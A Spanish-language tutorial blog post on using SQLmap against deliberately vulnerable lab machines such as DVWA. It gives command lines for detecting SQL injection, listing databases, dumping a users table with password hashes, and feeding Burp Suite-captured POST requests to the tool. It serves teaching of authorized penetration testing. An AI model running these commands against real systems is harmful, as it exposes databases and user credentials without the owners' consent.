Cuando empecé a aprender sobre ciberseguridad y pentesting, una de las primeras herramientas que me impresionó fue SQLmap. No solo porque automatiza ataques de inyección SQL, sino porque te obliga a comprender cómo funcionan realmente las bases de datos y las vulnerabilidades web.
En entornos profesionales lo he utilizado para auditar seguridad, validar configuraciones y encontrar fallos serios en aplicaciones internas.
Hoy quiero compartir una guía clara, estructurada y práctica para que puedas aprender a cómo usar SQLmap de forma segura en entornos de pruebas, como máquinas virtuales y laboratorios controlados.
Este artículo es 100% educativo y no debe usarse contra sistemas sin autorización.
Índice
- ¿Qué es SQLmap?
- Requisitos previos
- Preparación del laboratorio (máquinas virtuales)
- Comandos básicos de SQLmap
- Caso práctico 1: Detección de vulnerabilidad SQLi
- Caso práctico 2: Obtener nombres de bases de datos
- Caso práctico 3: Volcado de tablas y contraseñas
- Caso práctico 4: SQLmap con Burp Suite (peticiones complejas)
- Consejos profesionales para pentesting con SQLmap
- Conclusión
¿Qué es SQLmap?
SQLmap es una herramienta automatizada de pruebas de penetración capaz de detectar y explotar vulnerabilidades de inyección SQL.
Viene preinstalada en Kali Linux y soporta:
- MySQL
- MariaDB
- PostgreSQL
- SQL Server
- Oracle
- SQLite
- Firebird
- Y muchos más
SQLmap puede:
✔ detectar SQLi
✔ identificar tipo de base de datos
✔ listar bases de datos
✔ extraer tablas, columnas y registros
✔ volcar usuarios y contraseñas
✔ realizar ejecución de comandos (dependiendo del motor)
Requisitos previos
- Kali Linux (VM o instalación física)
- Máquina vulnerable (DVWA, Mutillidae, JuiceShop, etc.)
- Navegador o Burp Suite para interceptar peticiones
- Conocimientos básicos de SQL
Preparación del laboratorio (Máquinas Virtuales)
1. Máquina atacante
- Sistema operativo: Kali Linux
- Software: SQLmap, Burp Suite (ya incluidos)
- Recursos: 2 GB RAM mínimo
2. Máquina víctima (web vulnerable)
Opciones recomendadas:
| Máquina | Tipo | Instalación |
|---|---|---|
| DVWA (Damn Vulnerable Web App) | Muy vulnerable | Instalar en Ubuntu/VM |
| Mutillidae II | Laboratorio educativo | LAMP + Mutillidae |
| OWASP Juice Shop | Web moderna | Node.js |
| Metasploitable 2 | Vulnerable total | Imagen lista |
Comandos básicos de SQLmap
Ver si una URL es vulnerable:
sqlmap -u "http://victima.local/item.php?id=1"
Enumerar bases de datos:
sqlmap -u "http://victima.local/item.php?id=1" --dbs
Seleccionar una base de datos:
sqlmap -u "http://victima.local/item.php?id=1" -D dvwa --tables
Volcar una tabla:
sqlmap -u "http://victima.local/item.php?id=1" -D dvwa -T users --dump
Caso práctico 1 — Detectar vulnerabilidad SQLi
Usamos una URL típica vulnerable:
http://192.168.1.50/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
Ejecuta:
sqlmap -u "http://192.168.1.50/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --risk=3 --level=5
SQLmap detectará:
- tipo de inyección
- motor SQL
- payloads válidos
Resultado esperado: confirmación de SQL injection.
Caso práctico 2 — Obtener nombres de bases de datos
sqlmap -u "http://192.168.1.50/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
Salida típica:
[*] available databases:
- dvwa
- information_schema
- mysql
Caso práctico 3 — Volcar tabla de usuarios
Listar tablas:
sqlmap -u "..." -D dvwa --tables
Volcar usuarios:
sqlmap -u "..." -D dvwa -T users --dump
SQLmap recuperará:
- usuario
- hash de la contraseña
- otros campos
Caso práctico 4 — SQLmap con Burp Suite (peticiones POST)
Para aplicaciones con formularios POST, tokens CSRF o sesiones:
1. Intercepta la petición en Burp Suite
Guárdala como peticion.txt
Ejemplo:
POST /login HTTP/1.1
Host: victima.local
Cookie: PHPSESSID=123456
User-Agent: Firefox
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin123
2. Ejecuta SQLmap con archivo de petición:
sqlmap -r peticion.txt --dbs
3. Para sesiones o cookies:
sqlmap -r peticion.txt --cookie="PHPSESSID=123456" --dbs
Consejos profesionales para pentesting con SQLmap
✔ Usa siempre SQLmap en entornos de prueba
✔ Combina con Burp Suite para peticiones complejas
✔ Ajusta nivel y riesgo:
--risk=1seguro--risk=3más agresivo
✔ Documenta cada comando para repetir auditorías
✔ Vigila el impacto: SQLmap puede ralentizar servidores reales
✔ Nunca lo uses sin autorización (ilegal)
✔ Para auditorías reales, prueba primero manualmente
Conclusión
SQLmap es una de las herramientas más potentes para auditar vulnerabilidades de inyección SQL en entornos controlados.
Sirve tanto para aprender como para validar la seguridad de aplicaciones propias.
La clave está en entender qué hace, usarlo con responsabilidad y siempre dentro de un laboratorio o con permiso explícito.
¿Quieres que continúe con otra herramienta de Kali Linux?


